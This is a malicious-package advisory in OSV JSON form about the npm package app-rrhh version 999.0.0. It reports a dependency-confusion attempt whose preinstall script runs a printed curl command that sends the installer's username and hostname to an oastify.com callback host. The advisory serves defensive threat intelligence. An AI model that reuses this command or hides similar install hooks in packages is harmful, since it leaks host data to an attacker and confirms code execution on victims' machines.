app-rrhh

{"modified":"2026-09-14T15:42:30Z","published":"2026-09-14T15:42:30Z","schema_version":"1.7.4","id":"MAL-2026-16144","summary":"Malicious code in app-rrhh (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (cda153823a2c046e4d97069c84961e1a8b302fc425e238fce36bd8a205d19b88)\npackage.json declares a preinstall script that runs `curl http://ebtld4p8aq3rl950g6jgn217aygp4fs4.oastify.com/$(whoami)/$(hostname)` on `npm install`. The installer's OS username and hostname are embedded in the URL path and sent over plaintext HTTP to a Burp Collaborator (oastify.com) callback subdomain, confirming code execution on the installing host and leaking installer identity data to an attacker-controlled destination. The package name `app-rrhh` at version `999.0.0` with a description referencing dependency confusion is consistent with a dependency-confusion attack shape designed to win resolution against an internal package of the same name.\n","affected":[{"package":{"ecosystem":"npm","name":"app-rrhh"},"versions":["999.0.0"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"package.json","sha256":"7a1cfcea34f86b9f843ae33fe70953b59649c3d4c6b51150110c8f4872c59c95","tlsh":"87d0a7a9cc50e8f3bdca57d11d35816a96605ea7409d6d0a8ec71508502937356a621e"}],"package_integrity":[{"filename":"app-rrhh-999.0.0.tgz","hashes":{"sha1":"53a6b7761904f7fd403215732f50c23c4287b2ca","sha512_sri":"sha512-EORkWi4xelx2pA7bLpEi73tzm2Kqi36807XZxwtaIKaP9+jQMWEtjrxRdptrpIQ++3Fmhn1j42RBsCnQJrY/Yg=="}}]}}}],"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/app-rrhh/v/999.0.0"}],"credits":[{"name":"Amazon Inspector","type":"FINDER","contact":["inspector-research@amazon.com"]}],"database_specific":{"malicious-packages-origins":[{"id":"IN-MAL-2026-020019","import_time":"2026-09-14T16:19:12.086525937Z","modified_time":"2026-09-14T15:42:30Z","sha256":"cda153823a2c046e4d97069c84961e1a8b302fc425e238fce36bd8a205d19b88","source":"amazon-inspector","versions":["999.0.0"]}]}}